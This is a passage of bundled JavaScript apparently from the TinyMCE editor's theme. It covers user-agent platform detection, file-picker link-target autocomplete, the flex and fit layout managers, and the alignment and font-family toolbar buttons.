      return path(parts, scope);
    };

    var unsafe = function (name, scope) {
      return resolve(name, scope);
    };
    var getOrDie = function (name, scope) {
      var actual = unsafe(name, scope);
      if (actual === undefined || actual === null) {
        throw new Error(name + ' not available on this browser');
      }
      return actual;
    };
    var Global$1 = { getOrDie: getOrDie };

    var Immutable = function () {
      var fields = [];
      for (var _i = 0; _i < arguments.length; _i++) {
        fields[_i] = arguments[_i];
      }
      return function () {
        var values = [];
        for (var _i = 0; _i < arguments.length; _i++) {
          values[_i] = arguments[_i];
        }
        if (fields.length !== values.length) {
          throw new Error('Wrong number of arguments to struct. Expected "[' + fields.length + ']", got ' + values.length + ' arguments');
        }
        var struct = {};
        each(fields, function (name, i) {
          struct[name] = constant(values[i]);
        });
        return struct;
      };
    };

    var node = function () {
      var f = Global$1.getOrDie('Node');
      return f;
    };
    var compareDocumentPosition = function (a, b, match) {
      return (a.compareDocumentPosition(b) & match) !== 0;
    };
    var documentPositionPreceding = function (a, b) {
      return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_PRECEDING);
    };
    var documentPositionContainedBy = function (a, b) {
      return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_CONTAINED_BY);
    };
    var Node = {
      documentPositionPreceding: documentPositionPreceding,
      documentPositionContainedBy: documentPositionContainedBy
    };

    var firstMatch = function (regexes, s) {
      for (var i = 0; i < regexes.length; i++) {
        var x = regexes[i];
        if (x.test(s)) {
          return x;
        }
      }
      return undefined;
    };
    var find$1 = function (regexes, agent) {
      var r = firstMatch(regexes, agent);
      if (!r) {
        return {
          major: 0,
          minor: 0
        };
      }
      var group = function (i) {
        return Number(agent.replace(r, '$' + i));
      };
      return nu(group(1), group(2));
    };
    var detect = function (versionRegexes, agent) {
      var cleanedAgent = String(agent).toLowerCase();
      if (versionRegexes.length === 0) {
        return unknown();
      }
      return find$1(versionRegexes, cleanedAgent);
    };
    var unknown = function () {
      return nu(0, 0);
    };
    var nu = function (major, minor) {
      return {
        major: major,
        minor: minor
      };
    };
    var Version = {
      nu: nu,
      detect: detect,
      unknown: unknown
    };

    var edge = 'Edge';
    var chrome = 'Chrome';
    var ie = 'IE';
    var opera = 'Opera';
    var firefox = 'Firefox';
    var safari = 'Safari';
    var isBrowser = function (name, current) {
      return function () {
        return current === name;
      };
    };
    var unknown$1 = function () {
      return nu$1({
        current: undefined,
        version: Version.unknown()
      });
    };
    var nu$1 = function (info) {
      var current = info.current;
      var version = info.version;
      return {
        current: current,
        version: version,
        isEdge: isBrowser(edge, current),
        isChrome: isBrowser(chrome, current),
        isIE: isBrowser(ie, current),
        isOpera: isBrowser(opera, current),
        isFirefox: isBrowser(firefox, current),
        isSafari: isBrowser(safari, current)
      };
    };
    var Browser = {
      unknown: unknown$1,
      nu: nu$1,
      edge: constant(edge),
      chrome: constant(chrome),
      ie: constant(ie),
      opera: constant(opera),
      firefox: constant(firefox),
      safari: constant(safari)
    };

    var windows$1 = 'Windows';
    var ios = 'iOS';
    var android = 'Android';
    var linux = 'Linux';
    var osx = 'OSX';
    var solaris = 'Solaris';
    var freebsd = 'FreeBSD';
    var isOS = function (name, current) {
      return function () {
        return current === name;
      };
    };
    var unknown$2 = function () {
      return nu$2({
        current: undefined,
        version: Version.unknown()
      });
    };
    var nu$2 = function (info) {
      var current = info.current;
      var version = info.version;
      return {
        current: current,
        version: version,
        isWindows: isOS(windows$1, current),
        isiOS: isOS(ios, current),
        isAndroid: isOS(android, current),
        isOSX: isOS(osx, current),
        isLinux: isOS(linux, current),
        isSolaris: isOS(solaris, current),
        isFreeBSD: isOS(freebsd, current)
      };
    };
    var OperatingSystem = {
      unknown: unknown$2,
      nu: nu$2,
      windows: constant(windows$1),
      ios: constant(ios),
      android: constant(android),
      linux: constant(linux),
      osx: constant(osx),
      solaris: constant(solaris),
      freebsd: constant(freebsd)
    };

    var DeviceType = function (os, browser, userAgent) {
      var isiPad = os.isiOS() && /ipad/i.test(userAgent) === true;
      var isiPhone = os.isiOS() && !isiPad;
      var isAndroid3 = os.isAndroid() && os.version.major === 3;
      var isAndroid4 = os.isAndroid() && os.version.major === 4;
      var isTablet = isiPad || isAndroid3 || isAndroid4 && /mobile/i.test(userAgent) === true;
      var isTouch = os.isiOS() || os.isAndroid();
      var isPhone = isTouch && !isTablet;
      var iOSwebview = browser.isSafari() && os.isiOS() && /safari/i.test(userAgent) === false;
      return {
        isiPad: constant(isiPad),
        isiPhone: constant(isiPhone),
        isTablet: constant(isTablet),
        isPhone: constant(isPhone),
        isTouch: constant(isTouch),
        isAndroid: os.isAndroid,
        isiOS: os.isiOS,
        isWebView: constant(iOSwebview)
      };
    };

    var detect$1 = function (candidates, userAgent) {
      var agent = String(userAgent).toLowerCase();
      return find(candidates, function (candidate) {
        return candidate.search(agent);
      });
    };
    var detectBrowser = function (browsers, userAgent) {
      return detect$1(browsers, userAgent).map(function (browser) {
        var version = Version.detect(browser.versionRegexes, userAgent);
        return {
          current: browser.name,
          version: version
        };
      });
    };
    var detectOs = function (oses, userAgent) {
      return detect$1(oses, userAgent).map(function (os) {
        var version = Version.detect(os.versionRegexes, userAgent);
        return {
          current: os.name,
          version: version
        };
      });
    };
    var UaString = {
      detectBrowser: detectBrowser,
      detectOs: detectOs
    };

    var contains = function (str, substr) {
      return str.indexOf(substr) !== -1;
    };

    var normalVersionRegex = /.*?version\/\ ?([0-9]+)\.([0-9]+).*/;
    var checkContains = function (target) {
      return function (uastring) {
        return contains(uastring, target);
      };
    };
    var browsers = [
      {
        name: 'Edge',
        versionRegexes: [/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],
        search: function (uastring) {
          return contains(uastring, 'edge/') && contains(uastring, 'chrome') && contains(uastring, 'safari') && contains(uastring, 'applewebkit');
        }
      },
      {
        name: 'Chrome',
        versionRegexes: [
          /.*?chrome\/([0-9]+)\.([0-9]+).*/,
          normalVersionRegex
        ],
        search: function (uastring) {
          return contains(uastring, 'chrome') && !contains(uastring, 'chromeframe');
        }
      },
      {
        name: 'IE',
        versionRegexes: [
          /.*?msie\ ?([0-9]+)\.([0-9]+).*/,
          /.*?rv:([0-9]+)\.([0-9]+).*/
        ],
        search: function (uastring) {
          return contains(uastring, 'msie') || contains(uastring, 'trident');
        }
      },
      {
        name: 'Opera',
        versionRegexes: [
          normalVersionRegex,
          /.*?opera\/([0-9]+)\.([0-9]+).*/
        ],
        search: checkContains('opera')
      },
      {
        name: 'Firefox',
        versionRegexes: [/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],
        search: checkContains('firefox')
      },
      {
        name: 'Safari',
        versionRegexes: [
          normalVersionRegex,
          /.*?cpu os ([0-9]+)_([0-9]+).*/
        ],
        search: function (uastring) {
          return (contains(uastring, 'safari') || contains(uastring, 'mobile/')) && contains(uastring, 'applewebkit');
        }
      }
    ];
    var oses = [
      {
        name: 'Windows',
        search: checkContains('win'),
        versionRegexes: [/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]
      },
      {
        name: 'iOS',
        search: function (uastring) {
          return contains(uastring, 'iphone') || contains(uastring, 'ipad');
        },
        versionRegexes: [
          /.*?version\/\ ?([0-9]+)\.([0-9]+).*/,
          /.*cpu os ([0-9]+)_([0-9]+).*/,
          /.*cpu iphone os ([0-9]+)_([0-9]+).*/
        ]
      },
      {
        name: 'Android',
        search: checkContains('android'),
        versionRegexes: [/.*?android\ ?([0-9]+)\.([0-9]+).*/]
      },
      {
        name: 'OSX',
        search: checkContains('os x'),
        versionRegexes: [/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]
      },
      {
        name: 'Linux',
        search: checkContains('linux'),
        versionRegexes: []
      },
      {
        name: 'Solaris',
        search: checkContains('sunos'),
        versionRegexes: []
      },
      {
        name: 'FreeBSD',
        search: checkContains('freebsd'),
        versionRegexes: []
      }
    ];
    var PlatformInfo = {
      browsers: constant(browsers),
      oses: constant(oses)
    };

    var detect$2 = function (userAgent) {
      var browsers = PlatformInfo.browsers();
      var oses = PlatformInfo.oses();
      var browser = UaString.detectBrowser(browsers, userAgent).fold(Browser.unknown, Browser.nu);
      var os = UaString.detectOs(oses, userAgent).fold(OperatingSystem.unknown, OperatingSystem.nu);
      var deviceType = DeviceType(os, browser, userAgent);
      return {
        browser: browser,
        os: os,
        deviceType: deviceType
      };
    };
    var PlatformDetection = { detect: detect$2 };

    var detect$3 = cached(function () {
      var userAgent = domGlobals.navigator.userAgent;
      return PlatformDetection.detect(userAgent);
    });
    var PlatformDetection$1 = { detect: detect$3 };

    var ELEMENT$1 = ELEMENT;
    var DOCUMENT$1 = DOCUMENT;
    var bypassSelector = function (dom) {
      return dom.nodeType !== ELEMENT$1 && dom.nodeType !== DOCUMENT$1 || dom.childElementCount === 0;
    };
    var all = function (selector, scope) {
      var base = scope === undefined ? domGlobals.document : scope.dom();
      return bypassSelector(base) ? [] : map(base.querySelectorAll(selector), Element.fromDom);
    };
    var one = function (selector, scope) {
      var base = scope === undefined ? domGlobals.document : scope.dom();
      return bypassSelector(base) ? Option.none() : Option.from(base.querySelector(selector)).map(Element.fromDom);
    };

    var regularContains = function (e1, e2) {
      var d1 = e1.dom();
      var d2 = e2.dom();
      return d1 === d2 ? false : d1.contains(d2);
    };
    var ieContains = function (e1, e2) {
      return Node.documentPositionContainedBy(e1.dom(), e2.dom());
    };
    var browser = PlatformDetection$1.detect().browser;
    var contains$1 = browser.isIE() ? ieContains : regularContains;

    var spot = Immutable('element', 'offset');

    var descendants = function (scope, selector) {
      return all(selector, scope);
    };

    var trim = global$2.trim;
    var hasContentEditableState = function (value) {
      return function (node) {
        if (node && node.nodeType === 1) {
          if (node.contentEditable === value) {
            return true;
          }
          if (node.getAttribute('data-mce-contenteditable') === value) {
            return true;
          }
        }
        return false;
      };
    };
    var isContentEditableTrue = hasContentEditableState('true');
    var isContentEditableFalse = hasContentEditableState('false');
    var create = function (type, title, url, level, attach) {
      return {
        type: type,
        title: title,
        url: url,
        level: level,
        attach: attach
      };
    };
    var isChildOfContentEditableTrue = function (node) {
      while (node = node.parentNode) {
        var value = node.contentEditable;
        if (value && value !== 'inherit') {
          return isContentEditableTrue(node);
        }
      }
      return false;
    };
    var select = function (selector, root) {
      return map(descendants(Element.fromDom(root), selector), function (element) {
        return element.dom();
      });
    };
    var getElementText = function (elm) {
      return elm.innerText || elm.textContent;
    };
    var getOrGenerateId = function (elm) {
      return elm.id ? elm.id : generate('h');
    };
    var isAnchor = function (elm) {
      return elm && elm.nodeName === 'A' && (elm.id || elm.name);
    };
    var isValidAnchor = function (elm) {
      return isAnchor(elm) && isEditable(elm);
    };
    var isHeader = function (elm) {
      return elm && /^(H[1-6])$/.test(elm.nodeName);
    };
    var isEditable = function (elm) {
      return isChildOfContentEditableTrue(elm) && !isContentEditableFalse(elm);
    };
    var isValidHeader = function (elm) {
      return isHeader(elm) && isEditable(elm);
    };
    var getLevel = function (elm) {
      return isHeader(elm) ? parseInt(elm.nodeName.substr(1), 10) : 0;
    };
    var headerTarget = function (elm) {
      var headerId = getOrGenerateId(elm);
      var attach = function () {
        elm.id = headerId;
      };
      return create('header', getElementText(elm), '#' + headerId, getLevel(elm), attach);
    };
    var anchorTarget = function (elm) {
      var anchorId = elm.id || elm.name;
      var anchorText = getElementText(elm);
      return create('anchor', anchorText ? anchorText : '#' + anchorId, '#' + anchorId, 0, noop);
    };
    var getHeaderTargets = function (elms) {
      return map(filter(elms, isValidHeader), headerTarget);
    };
    var getAnchorTargets = function (elms) {
      return map(filter(elms, isValidAnchor), anchorTarget);
    };
    var getTargetElements = function (elm) {
      var elms = select('h1,h2,h3,h4,h5,h6,a:not([href])', elm);
      return elms;
    };
    var hasTitle = function (target) {
      return trim(target.title).length > 0;
    };
    var find$2 = function (elm) {
      var elms = getTargetElements(elm);
      return filter(getHeaderTargets(elms).concat(getAnchorTargets(elms)), hasTitle);
    };
    var LinkTargets = { find: find$2 };

    var getActiveEditor = function () {
      return window.tinymce ? window.tinymce.activeEditor : global$1.activeEditor;
    };
    var history = {};
    var HISTORY_LENGTH = 5;
    var clearHistory = function () {
      history = {};
    };
    var toMenuItem = function (target) {
      return {
        title: target.title,
        value: {
          title: { raw: target.title },
          url: target.url,
          attach: target.attach
        }
      };
    };
    var toMenuItems = function (targets) {
      return global$2.map(targets, toMenuItem);
    };
    var staticMenuItem = function (title, url) {
      return {
        title: title,
        value: {
          title: title,
          url: url,
          attach: noop
        }
      };
    };
    var isUniqueUrl = function (url, targets) {
      var foundTarget = exists(targets, function (target) {
        return target.url === url;
      });
      return !foundTarget;
    };
    var getSetting = function (editorSettings, name, defaultValue) {
      var value = name in editorSettings ? editorSettings[name] : defaultValue;
      return value === false ? null : value;
    };
    var createMenuItems = function (term, targets, fileType, editorSettings) {
      var separator = { title: '-' };
      var fromHistoryMenuItems = function (history) {
        var historyItems = history.hasOwnProperty(fileType) ? history[fileType] : [];
        var uniqueHistory = filter(historyItems, function (url) {
          return isUniqueUrl(url, targets);
        });
        return global$2.map(uniqueHistory, function (url) {
          return {
            title: url,
            value: {
              title: url,
              url: url,
              attach: noop
            }
          };
        });
      };
      var fromMenuItems = function (type) {
        var filteredTargets = filter(targets, function (target) {
          return target.type === type;
        });
        return toMenuItems(filteredTargets);
      };
      var anchorMenuItems = function () {
        var anchorMenuItems = fromMenuItems('anchor');
        var topAnchor = getSetting(editorSettings, 'anchor_top', '#top');
        var bottomAchor = getSetting(editorSettings, 'anchor_bottom', '#bottom');
        if (topAnchor !== null) {
          anchorMenuItems.unshift(staticMenuItem('<top>', topAnchor));
        }
        if (bottomAchor !== null) {
          anchorMenuItems.push(staticMenuItem('<bottom>', bottomAchor));
        }
        return anchorMenuItems;
      };
      var join = function (items) {
        return foldl(items, function (a, b) {
          var bothEmpty = a.length === 0 || b.length === 0;
          return bothEmpty ? a.concat(b) : a.concat(separator, b);
        }, []);
      };
      if (editorSettings.typeahead_urls === false) {
        return [];
      }
      return fileType === 'file' ? join([
        filterByQuery(term, fromHistoryMenuItems(history)),
        filterByQuery(term, fromMenuItems('header')),
        filterByQuery(term, anchorMenuItems())
      ]) : filterByQuery(term, fromHistoryMenuItems(history));
    };
    var addToHistory = function (url, fileType) {
      var items = history[fileType];
      if (!/^https?/.test(url)) {
        return;
      }
      if (items) {
        if (indexOf(items, url).isNone()) {
          history[fileType] = items.slice(0, HISTORY_LENGTH).concat(url);
        }
      } else {
        history[fileType] = [url];
      }
    };
    var filterByQuery = function (term, menuItems) {
      var lowerCaseTerm = term.toLowerCase();
      var result = global$2.grep(menuItems, function (item) {
        return item.title.toLowerCase().indexOf(lowerCaseTerm) !== -1;
      });
      return result.length === 1 && result[0].title === term ? [] : result;
    };
    var getTitle = function (linkDetails) {
      var title = linkDetails.title;
      return title.raw ? title.raw : title;
    };
    var setupAutoCompleteHandler = function (ctrl, editorSettings, bodyElm, fileType) {
      var autocomplete = function (term) {
        var linkTargets = LinkTargets.find(bodyElm);
        var menuItems = createMenuItems(term, linkTargets, fileType, editorSettings);
        ctrl.showAutoComplete(menuItems, term);
      };
      ctrl.on('autocomplete', function () {
        autocomplete(ctrl.value());
      });
      ctrl.on('selectitem', function (e) {
        var linkDetails = e.value;
        ctrl.value(linkDetails.url);
        var title = getTitle(linkDetails);
        if (fileType === 'image') {
          ctrl.fire('change', {
            meta: {
              alt: title,
              attach: linkDetails.attach
            }
          });
        } else {
          ctrl.fire('change', {
            meta: {
              text: title,
              attach: linkDetails.attach
            }
          });
        }
        ctrl.focus();
      });
      ctrl.on('click', function (e) {
        if (ctrl.value().length === 0 && e.target.nodeName === 'INPUT') {
          autocomplete('');
        }
      });
      ctrl.on('PostRender', function () {
        ctrl.getRoot().on('submit', function (e) {
          if (!e.isDefaultPrevented()) {
            addToHistory(ctrl.value(), fileType);
          }
        });
      });
    };
    var statusToUiState = function (result) {
      var status = result.status, message = result.message;
      if (status === 'valid') {
        return {
          status: 'ok',
          message: message
        };
      } else if (status === 'unknown') {
        return {
          status: 'warn',
          message: message
        };
      } else if (status === 'invalid') {
        return {
          status: 'warn',
          message: message
        };
      } else {
        return {
          status: 'none',
          message: ''
        };
      }
    };
    var setupLinkValidatorHandler = function (ctrl, editorSettings, fileType) {
      var validatorHandler = editorSettings.filepicker_validator_handler;
      if (validatorHandler) {
        var validateUrl_1 = function (url) {
          if (url.length === 0) {
            ctrl.statusLevel('none');
            return;
          }
          validatorHandler({
            url: url,
            type: fileType
          }, function (result) {
            var uiState = statusToUiState(result);
            ctrl.statusMessage(uiState.message);
            ctrl.statusLevel(uiState.status);
          });
        };
        ctrl.state.on('change:value', function (e) {
          validateUrl_1(e.value);
        });
      }
    };
    var FilePicker = ComboBox.extend({
      Statics: { clearHistory: clearHistory },
      init: function (settings) {
        var self = this, editor = getActiveEditor(), editorSettings = editor.settings;
        var actionCallback, fileBrowserCallback, fileBrowserCallbackTypes;
        var fileType = settings.filetype;
        settings.spellcheck = false;
        fileBrowserCallbackTypes = editorSettings.file_picker_types || editorSettings.file_browser_callback_types;
        if (fileBrowserCallbackTypes) {
          fileBrowserCallbackTypes = global$2.makeMap(fileBrowserCallbackTypes, /[, ]/);
        }
        if (!fileBrowserCallbackTypes || fileBrowserCallbackTypes[fileType]) {
          fileBrowserCallback = editorSettings.file_picker_callback;
          if (fileBrowserCallback && (!fileBrowserCallbackTypes || fileBrowserCallbackTypes[fileType])) {
            actionCallback = function () {
              var meta = self.fire('beforecall').meta;
              meta = global$2.extend({ filetype: fileType }, meta);
              fileBrowserCallback.call(editor, function (value, meta) {
                self.value(value).fire('change', { meta: meta });
              }, self.value(), meta);
            };
          } else {
            fileBrowserCallback = editorSettings.file_browser_callback;
            if (fileBrowserCallback && (!fileBrowserCallbackTypes || fileBrowserCallbackTypes[fileType])) {
              actionCallback = function () {
                fileBrowserCallback(self.getEl('inp').id, self.value(), fileType, window);
              };
            }
          }
        }
        if (actionCallback) {
          settings.icon = 'browse';
          settings.onaction = actionCallback;
        }
        self._super(settings);
        self.classes.add('filepicker');
        setupAutoCompleteHandler(self, editorSettings, editor.getBody(), fileType);
        setupLinkValidatorHandler(self, editorSettings, fileType);
      }
    });

    var FitLayout = AbsoluteLayout.extend({
      recalc: function (container) {
        var contLayoutRect = container.layoutRect(), paddingBox = container.paddingBox;
        container.items().filter(':visible').each(function (ctrl) {
          ctrl.layoutRect({
            x: paddingBox.left,
            y: paddingBox.top,
            w: contLayoutRect.innerW - paddingBox.right - paddingBox.left,
            h: contLayoutRect.innerH - paddingBox.top - paddingBox.bottom
          });
          if (ctrl.recalc) {
            ctrl.recalc();
          }
        });
      }
    });

    var FlexLayout = AbsoluteLayout.extend({
      recalc: function (container) {
        var i, l, items, contLayoutRect, contPaddingBox, contSettings, align, pack, spacing, totalFlex, availableSpace, direction;
        var ctrl, ctrlLayoutRect, ctrlSettings, flex;
        var maxSizeItems = [];
        var size, maxSize, ratio, rect, pos, maxAlignEndPos;
        var sizeName, minSizeName, posName, maxSizeName, beforeName, innerSizeName, deltaSizeName, contentSizeName;
        var alignAxisName, alignInnerSizeName, alignSizeName, alignMinSizeName, alignBeforeName, alignAfterName;
        var alignDeltaSizeName, alignContentSizeName;
        var max = Math.max, min = Math.min;
        items = container.items().filter(':visible');
        contLayoutRect = container.layoutRect();
        contPaddingBox = container.paddingBox;
        contSettings = container.settings;
        direction = container.isRtl() ? contSettings.direction || 'row-reversed' : contSettings.direction;
        align = contSettings.align;
        pack = container.isRtl() ? contSettings.pack || 'end' : contSettings.pack;
        spacing = contSettings.spacing || 0;
        if (direction === 'row-reversed' || direction === 'column-reverse') {
          items = items.set(items.toArray().reverse());
          direction = direction.split('-')[0];
        }
        if (direction === 'column') {
          posName = 'y';
          sizeName = 'h';
          minSizeName = 'minH';
          maxSizeName = 'maxH';
          innerSizeName = 'innerH';
          beforeName = 'top';
          deltaSizeName = 'deltaH';
          contentSizeName = 'contentH';
          alignBeforeName = 'left';
          alignSizeName = 'w';
          alignAxisName = 'x';
          alignInnerSizeName = 'innerW';
          alignMinSizeName = 'minW';
          alignAfterName = 'right';
          alignDeltaSizeName = 'deltaW';
          alignContentSizeName = 'contentW';
        } else {
          posName = 'x';
          sizeName = 'w';
          minSizeName = 'minW';
          maxSizeName = 'maxW';
          innerSizeName = 'innerW';
          beforeName = 'left';
          deltaSizeName = 'deltaW';
          contentSizeName = 'contentW';
          alignBeforeName = 'top';
          alignSizeName = 'h';
          alignAxisName = 'y';
          alignInnerSizeName = 'innerH';
          alignMinSizeName = 'minH';
          alignAfterName = 'bottom';
          alignDeltaSizeName = 'deltaH';
          alignContentSizeName = 'contentH';
        }
        availableSpace = contLayoutRect[innerSizeName] - contPaddingBox[beforeName] - contPaddingBox[beforeName];
        maxAlignEndPos = totalFlex = 0;
        for (i = 0, l = items.length; i < l; i++) {
          ctrl = items[i];
          ctrlLayoutRect = ctrl.layoutRect();
          ctrlSettings = ctrl.settings;
          flex = ctrlSettings.flex;
          availableSpace -= i < l - 1 ? spacing : 0;
          if (flex > 0) {
            totalFlex += flex;
            if (ctrlLayoutRect[maxSizeName]) {
              maxSizeItems.push(ctrl);
            }
            ctrlLayoutRect.flex = flex;
          }
          availableSpace -= ctrlLayoutRect[minSizeName];
          size = contPaddingBox[alignBeforeName] + ctrlLayoutRect[alignMinSizeName] + contPaddingBox[alignAfterName];
          if (size > maxAlignEndPos) {
            maxAlignEndPos = size;
          }
        }
        rect = {};
        if (availableSpace < 0) {
          rect[minSizeName] = contLayoutRect[minSizeName] - availableSpace + contLayoutRect[deltaSizeName];
        } else {
          rect[minSizeName] = contLayoutRect[innerSizeName] - availableSpace + contLayoutRect[deltaSizeName];
        }
        rect[alignMinSizeName] = maxAlignEndPos + contLayoutRect[alignDeltaSizeName];
        rect[contentSizeName] = contLayoutRect[innerSizeName] - availableSpace;
        rect[alignContentSizeName] = maxAlignEndPos;
        rect.minW = min(rect.minW, contLayoutRect.maxW);
        rect.minH = min(rect.minH, contLayoutRect.maxH);
        rect.minW = max(rect.minW, contLayoutRect.startMinWidth);
        rect.minH = max(rect.minH, contLayoutRect.startMinHeight);
        if (contLayoutRect.autoResize && (rect.minW !== contLayoutRect.minW || rect.minH !== contLayoutRect.minH)) {
          rect.w = rect.minW;
          rect.h = rect.minH;
          container.layoutRect(rect);
          this.recalc(container);
          if (container._lastRect === null) {
            var parentCtrl = container.parent();
            if (parentCtrl) {
              parentCtrl._lastRect = null;
              parentCtrl.recalc();
            }
          }
          return;
        }
        ratio = availableSpace / totalFlex;
        for (i = 0, l = maxSizeItems.length; i < l; i++) {
          ctrl = maxSizeItems[i];
          ctrlLayoutRect = ctrl.layoutRect();
          maxSize = ctrlLayoutRect[maxSizeName];
          size = ctrlLayoutRect[minSizeName] + ctrlLayoutRect.flex * ratio;
          if (size > maxSize) {
            availableSpace -= ctrlLayoutRect[maxSizeName] - ctrlLayoutRect[minSizeName];
            totalFlex -= ctrlLayoutRect.flex;
            ctrlLayoutRect.flex = 0;
            ctrlLayoutRect.maxFlexSize = maxSize;
          } else {
            ctrlLayoutRect.maxFlexSize = 0;
          }
        }
        ratio = availableSpace / totalFlex;
        pos = contPaddingBox[beforeName];
        rect = {};
        if (totalFlex === 0) {
          if (pack === 'end') {
            pos = availableSpace + contPaddingBox[beforeName];
          } else if (pack === 'center') {
            pos = Math.round(contLayoutRect[innerSizeName] / 2 - (contLayoutRect[innerSizeName] - availableSpace) / 2) + contPaddingBox[beforeName];
            if (pos < 0) {
              pos = contPaddingBox[beforeName];
            }
          } else if (pack === 'justify') {
            pos = contPaddingBox[beforeName];
            spacing = Math.floor(availableSpace / (items.length - 1));
          }
        }
        rect[alignAxisName] = contPaddingBox[alignBeforeName];
        for (i = 0, l = items.length; i < l; i++) {
          ctrl = items[i];
          ctrlLayoutRect = ctrl.layoutRect();
          size = ctrlLayoutRect.maxFlexSize || ctrlLayoutRect[minSizeName];
          if (align === 'center') {
            rect[alignAxisName] = Math.round(contLayoutRect[alignInnerSizeName] / 2 - ctrlLayoutRect[alignSizeName] / 2);
          } else if (align === 'stretch') {
            rect[alignSizeName] = max(ctrlLayoutRect[alignMinSizeName] || 0, contLayoutRect[alignInnerSizeName] - contPaddingBox[alignBeforeName] - contPaddingBox[alignAfterName]);
            rect[alignAxisName] = contPaddingBox[alignBeforeName];
          } else if (align === 'end') {
            rect[alignAxisName] = contLayoutRect[alignInnerSizeName] - ctrlLayoutRect[alignSizeName] - contPaddingBox.top;
          }
          if (ctrlLayoutRect.flex > 0) {
            size += ctrlLayoutRect.flex * ratio;
          }
          rect[sizeName] = size;
          rect[posName] = pos;
          ctrl.layoutRect(rect);
          if (ctrl.recalc) {
            ctrl.recalc();
          }
          pos += size + spacing;
        }
      }
    });

    var FlowLayout = Layout.extend({
      Defaults: {
        containerClass: 'flow-layout',
        controlClass: 'flow-layout-item',
        endClass: 'break'
      },
      recalc: function (container) {
        container.items().filter(':visible').each(function (ctrl) {
          if (ctrl.recalc) {
            ctrl.recalc();
          }
        });
      },
      isNative: function () {
        return true;
      }
    });

    var descendant = function (scope, selector) {
      return one(selector, scope);
    };

    var toggleFormat = function (editor, fmt) {
      return function () {
        editor.execCommand('mceToggleFormat', false, fmt);
      };
    };
    var addFormatChangedListener = function (editor, name, changed) {
      var handler = function (state) {
        changed(state, name);
      };
      if (editor.formatter) {
        editor.formatter.formatChanged(name, handler);
      } else {
        editor.on('init', function () {
          editor.formatter.formatChanged(name, handler);
        });
      }
    };
    var postRenderFormatToggle = function (editor, name) {
      return function (e) {
        addFormatChangedListener(editor, name, function (state) {
          e.control.active(state);
        });
      };
    };

    var register = function (editor) {
      var alignFormats = [
        'alignleft',
        'aligncenter',
        'alignright',
        'alignjustify'
      ];
      var defaultAlign = 'alignleft';
      var alignMenuItems = [
        {
          text: 'Left',
          icon: 'alignleft',
          onclick: toggleFormat(editor, 'alignleft')
        },
        {
          text: 'Center',
          icon: 'aligncenter',
          onclick: toggleFormat(editor, 'aligncenter')
        },
        {
          text: 'Right',
          icon: 'alignright',
          onclick: toggleFormat(editor, 'alignright')
        },
        {
          text: 'Justify',
          icon: 'alignjustify',
          onclick: toggleFormat(editor, 'alignjustify')
        }
      ];
      editor.addMenuItem('align', {
        text: 'Align',
        menu: alignMenuItems
      });
      editor.addButton('align', {
        type: 'menubutton',
        icon: defaultAlign,
        menu: alignMenuItems,
        onShowMenu: function (e) {
          var menu = e.control.menu;
          global$2.each(alignFormats, function (formatName, idx) {
            menu.items().eq(idx).each(function (item) {
              return item.active(editor.formatter.match(formatName));
            });
          });
        },
        onPostRender: function (e) {
          var ctrl = e.control;
          global$2.each(alignFormats, function (formatName, idx) {
            addFormatChangedListener(editor, formatName, function (state) {
              ctrl.icon(defaultAlign);
              if (state) {
                ctrl.icon(formatName);
              }
            });
          });
        }
      });
      global$2.each({
        alignleft: [
          'Align left',
          'JustifyLeft'
        ],
        aligncenter: [
          'Align center',
          'JustifyCenter'
        ],
        alignright: [
          'Align right',
          'JustifyRight'
        ],
        alignjustify: [
          'Justify',
          'JustifyFull'
        ],
        alignnone: [
          'No alignment',
          'JustifyNone'
        ]
      }, function (item, name) {
        editor.addButton(name, {
          active: false,
          tooltip: item[0],
          cmd: item[1],
          onPostRender: postRenderFormatToggle(editor, name)
        });
      });
    };
    var Align = { register: register };

    var getFirstFont = function (fontFamily) {
      return fontFamily ? fontFamily.split(',')[0] : '';
    };
    var findMatchingValue = function (items, fontFamily) {
      var font = fontFamily ? fontFamily.toLowerCase() : '';
      var value;
      global$2.each(items, function (item) {
        if (item.value.toLowerCase() === font) {
          value = item.value;
        }
      });
      global$2.each(items, function (item) {
        if (!value && getFirstFont(item.value).toLowerCase() === getFirstFont(font).toLowerCase()) {
          value = item.value;
        }
      });
      return value;
    };
    var createFontNameListBoxChangeHandler = function (editor, items) {
      return function () {
        var self = this;
        self.state.set('value', null);
        editor.on('init nodeChange', function (e) {
          var fontFamily = editor.queryCommandValue('FontName');
          var match = findMatchingValue(items, fontFamily);
          self.value(match ? match : null);
          if (!match && fontFamily) {
            self.text(getFirstFont(fontFamily));
          }
        });
      };
    };
    var createFormats = function (formats) {
      formats = formats.replace(/;$/, '').split(';');
      var i = formats.length;
      while (i--) {
        formats[i] = formats[i].split('=');
      }
      return formats;
    };
    var getFontItems = function (editor) {
      var defaultFontsFormats = 'Andale Mono=andale mono,monospace;' + 'Arial=arial,helvetica,sans-serif;' + 'Arial Black=arial black,sans-serif;' + 'Book Antiqua=book antiqua,palatino,serif;' + 'Comic Sans MS=comic sans ms,sans-serif;' + 'Courier New=courier new,courier,monospace;' + 'Georgia=georgia,palatino,serif;' + 'Helvetica=helvetica,arial,sans-serif;' + 'Impact=impact,sans-serif;' + 'Symbol=symbol;' + 'Tahoma=tahoma,arial,helvetica,sans-serif;' + 'Terminal=terminal,monaco,monospace;' + 'Times New Roman=times new roman,times,serif;' + 'Trebuchet MS=trebuchet ms,geneva,sans-serif;' + 'Verdana=verdana,geneva,sans-serif;' + 'Webdings=webdings;' + 'Wingdings=wingdings,zapf dingbats';
      var fonts = createFormats(editor.settings.font_formats || defaultFontsFormats);
      return global$2.map(fonts, function (font) {
        return {
          text: { raw: font[0] },
          value: font[1],
          textStyle: font[1].indexOf('dings') === -1 ? 'font-family:' + font[1] : ''
        };
      });
    };
    var registerButtons = function (editor) {
      editor.addButton('fontselect', function () {
        var items = getFontItems(editor);
        return {
          type: 'listbox',
          text: 'Font Family',
          tooltip: 'Font Family',
          values: items,
          fixedWidth: true,
          onPostRender: createFontNameListBoxChangeHandler(editor, items),
          onselect: function (e) {
            if (e.control.settings.value) {
              editor.execCommand('FontName', false, e.control.settings.value);
            }
          }
        };
      });
    };
    var register$1 = function (editor) {
      registerButtons(editor);
    };
